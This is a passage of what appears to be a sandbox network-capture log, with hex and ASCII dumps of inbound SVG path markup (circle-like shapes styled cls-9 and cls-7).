2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 Data Ascii: -4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M688.15,320.61a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9"
2023-05-31 12:52:02 UTC	3406	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 32 2e 38 39 2c 33 38 31 2e 36 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2c 33 37 33 61 32 2e 31 36 Data Ascii: ,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M722.89,381.68a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M723,373a2.16
2023-05-31 12:52:02 UTC	3422	IN	Data Raw: 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 36 32 2c 34 34 32 2e 37 36 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 37 2c 34 33 34 2e 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c Data Ascii: ,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M757.62,442.76a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M757.7,434.08a2.15,2.15,0,0,1-1.09,2.75,
2023-05-31 12:52:02 UTC	3438	IN	Data Raw: 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 38 2c 32 35 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c Data Ascii: 2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M785.78,252a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,
2023-05-31 12:52:02 UTC	3454	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 34 34 2c 33 32 31 2e 37 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 35 31 2c 33 31 33 2e 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 Data Ascii: ath class="cls-9" d="M820.44,321.78a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M820.51,313.1a2.15,2.15,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.7
2023-05-31 12:52:02 UTC	3470	IN	Data Raw: 22 4d 38 35 35 2e 31 37 2c 33 38 32 2e 38 36 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 35 2e 32 35 2c 33 37 34 2e 31 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c Data Ascii: "M855.17,382.86a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M855.25,374.18a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,
2023-05-31 12:52:02 UTC	3486	IN	Data Raw: 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 39 30 2c 34 33 35 2e 32 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 2f 3e 3c 70 61 74 Data Ascii: .1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.2,2.64,2.64,0,0,1,0,3.57"/><path class="cls-9" d="M890,435.25a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.63,2.63,0,0,1,0,3.57"/><pat
2023-05-31 12:52:02 UTC	3502	IN	Data Raw: 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 38 2e 30 36 2c 32 35 33 2e 32 31 41 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 39 31 37 2c 32 35 36 61 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 Data Ascii: 0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M918.06,253.21A2.15,2.15,0,0,1,917,256a3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3
2023-05-31 12:52:02 UTC	3518	IN	Data Raw: 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 35 32 2e 38 2c 33 31 34 2e 32 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 Data Ascii: ,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M952.8,314.28a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.8-3.58,2.8,2.8,0,0,1,3.61.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9
2023-05-31 12:52:02 UTC	3534	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 35 38 2c 32 35 31 2e 36 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 2e 32 38 2c 32 34 32 2e 38 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M59.58,251.63a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M59.28,242.85a2.18,2.18,0,0
2023-05-31 12:52:02 UTC	3550	IN	Data Raw: 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 39 37 2c 33 30 33 2e 30 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d Data Ascii: 8,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M97,303.09a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-
2023-05-31 12:52:02 UTC	3566	IN	Data Raw: 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 35 36 2c 31 31 37 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 31 37 2e 32 36 2c 31 30 39 2e 30 35 61 32 2e 31 38 2c 32 2e 31 38 2c Data Ascii: 6,2.86,2.86,0,0,1,3.67,0,2.67,2.67,0,0,1,.19,3.61"/><path class="cls-7" d="M117.56,117.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M117.26,109.05a2.18,2.18,
2023-05-31 12:52:02 UTC	3582	IN	Data Raw: 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2e 33 31 2c 31 37 38 2e 30 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 35 35 2c 31 Data Ascii: 1.2,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M155.31,178.08a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.84,2.84,0,0,1,3.66,0,2.67,2.67,0,0,1,.2,3.62"/><path class="cls-7" d="M155,1
2023-05-31 12:52:02 UTC	3598	IN	Data Raw: 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 33 2e 30 37 2c 32 33 38 2e 33 32 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 39 32 2e 37 37 2c 32 32 39 2e 35 34 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c Data Ascii: 0,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M193.07,238.32a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M192.77,229.54a2.17,2.17,0,0,1-1,2.83,3.18,
2023-05-31 12:52:02 UTC	3614	IN	Data Raw: 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 38 33 2c 32 39 38 2e 35 37 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 33 30 2e 35 Data Ascii: 1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M230.83,298.57a2.19,2.19,0,0,1-1,2.83,3.2,3.2,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M230.5
2023-05-31 12:52:02 UTC	3630	IN	Data Raw: 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 35 31 2e 33 35 2c 31 31 33 2e 33 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d Data Ascii: 3-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M251.35,113.31a2.17,2.17,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M
2023-05-31 12:52:02 UTC	3646	IN	Data Raw: 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 38 39 2e 31 2c 31 37 33 2e 35 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path class="cls-7" d="M289.1,173.55a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.66,2.66,0,0,1,.2,3.61"/><path class="
2023-05-31 12:52:02 UTC	3662	IN	Data Raw: 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 32 36 2e 38 36 2c 32 33 33 2e 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c Data Ascii: ,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M326.86,233.8a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><
